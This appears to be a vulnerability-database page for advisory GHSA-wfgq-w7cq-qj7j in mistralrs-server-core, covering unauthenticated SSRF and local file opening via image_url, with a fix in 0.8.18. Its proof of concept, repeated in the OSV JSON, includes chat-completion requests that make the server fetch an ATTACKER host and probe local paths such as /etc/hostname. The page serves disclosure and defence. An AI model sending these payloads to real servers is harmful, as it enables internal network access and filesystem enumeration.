GHSA-wfgq-w7cq-qj7j: Mistralrs server core Unauthenticated SSRF And Arbitrary Local Vulnerability

HIGH
CVSS 7.2
CWE-73 CWE-918
Published
Advisory Summary

GHSA-wfgq-w7cq-qj7j is a HIGH (CVSS 7.2) unauthenticated ssrf and arbitrary local vulnerability (CWE-73: External Control of File Name or Path) affecting Mistralrs server core libraries in the crates.io ecosystem. The issue involves unauthenticated ssrf and arbitrary local file read via image_url. Remediation is available by upgrading affected packages to version 0.8.18.

GHSA-wfgq-w7cq-qj7j at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wfgq-w7cq-qj7j
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Mistralrs server core
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability Low (A:L)

How to Fix GHSA-wfgq-w7cq-qj7j

To remediate this vulnerability, upgrade all affected Mistralrs server core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mistralrs-server-core fixed: 0.8.18
Upgrade mistralrs-server-core to 0.8.18
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mistralrs-server-core

How to Check if You Are Affected

To determine whether your application is affected by GHSA-wfgq-w7cq-qj7j, inspect your project dependencies for Mistralrs server core:

inspect dependencies for mistralrs-server-core

Analyze the terminal output to locate any version of Mistralrs server core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.18), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Mistralrs server core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default. ### Details `parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it: ```rust let url = if let Ok(url) = url::Url::parse(url_unparsed) { url } else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute) url::Url::from_file_path(std::path::absolute(url_unparsed)?) ... } else { bail!(...) }; let bytes = if url.scheme() == "http" || url.scheme() == "https" { reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check } else if url.scheme() == "file" { File::open(path).await ... read // arbitrary local file read } else if url.scheme() == "data" { ... base64 ... }; ``` `reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`. The value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time. For reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither. ### Suggested fix Restrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size. ### Proof of concept On a default vision deployment, unauthenticated: SSRF - the server fetches the attacker URL during request processing: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} ``` An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed. Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors): existing file (opened and read, then fails to decode): ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/etc/hostname"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "The image format could not be determined" ``` nonexistent path: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/nonexistent"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..." ``` The difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim. ### Impact An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure. Availability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.

GHSA-wfgq-w7cq-qj7j Affected Mistralrs server core Versions

1 component(s)
Fixed Versions:
0.8.18
Product / Package Ecosystem Affected Versions Fixed Version
mistralrs-server-core
crates.io
< 0.8.18
0.8.18

References

Frequently Asked Questions

What is GHSA-wfgq-w7cq-qj7j?
GHSA-wfgq-w7cq-qj7j is a security vulnerability in Mistralrs server core involving Unauthenticated SSRF and arbitrary local file read via image_url under CWE-73: External Control of File Name or Path.
Which Mistralrs server core versions are affected?
Affected versions include releases prior to 0.8.18 across affected packages: mistralrs-server-core.
What version fixes GHSA-wfgq-w7cq-qj7j?
Upgrading to 0.8.18 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mistralrs-server-core affected?
Yes, mistralrs-server-core is affected in releases prior to 0.8.18. Upgrade your dependency to 0.8.18 or later.
What is the CVSS score of GHSA-wfgq-w7cq-qj7j?
GHSA-wfgq-w7cq-qj7j has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L.
What CWE is associated with GHSA-wfgq-w7cq-qj7j?
GHSA-wfgq-w7cq-qj7j is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check crates.io dependencies for GHSA-wfgq-w7cq-qj7j?
Run the dependency tree command: 'inspect dependencies for mistralrs-server-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wfgq-w7cq-qj7j",
  "modified" : "2026-09-10T21:54:14Z",
  "published" : "2026-09-10T21:54:14Z",
  "aliases" : [ ],
  "summary" : "mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url",
  "details" : "### Summary\nmistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.\n\n### Details\n`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:\n\n```rust\nlet url = if let Ok(url) = url::Url::parse(url_unparsed) {\n    url\n} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)\n    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...\n} else { bail!(...) };\n\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check\n} else if url.scheme() == \"file\" {\n    File::open(path).await ... read                           // arbitrary local file read\n} else if url.scheme() == \"data\" { ... base64 ... };\n```\n\n`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.\n\nThe value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time.\n\nFor reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.\n\n### Suggested fix\nRestrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.\n\n### Proof of concept\nOn a default vision deployment, unauthenticated:\n\nSSRF - the server fetches the attacker URL during request processing:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://ATTACKER/probe\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n```\n\nAn out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.\n\nArbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):\n\nexisting file (opened and read, then fails to decode):\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"/etc/hostname\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-> 500, response body message: \"The image format could not be determined\"\n```\n\nnonexistent path:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"<vlm>\",\"messages\":[{\"role\":\"user\",\"content\":[\n  {\"type\":\"image_url\",\"image_url\":{\"url\":\"/nonexistent\"}},\n  {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-> 500, response body message: \"Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ...\"\n```\n\nThe difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with \"file not found on server\" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.\n\n### Impact\nAn attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.\n\nAvailability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "mistralrs-server-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-wfgq-w7cq-qj7j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EricLBuehler/mistral.rs/commit/74793379649febc758b6a0d4b71aa6aeabc80f9c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EricLBuehler/mistral.rs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T21:54:14Z",
    "nvd_published_at" : null
  }
}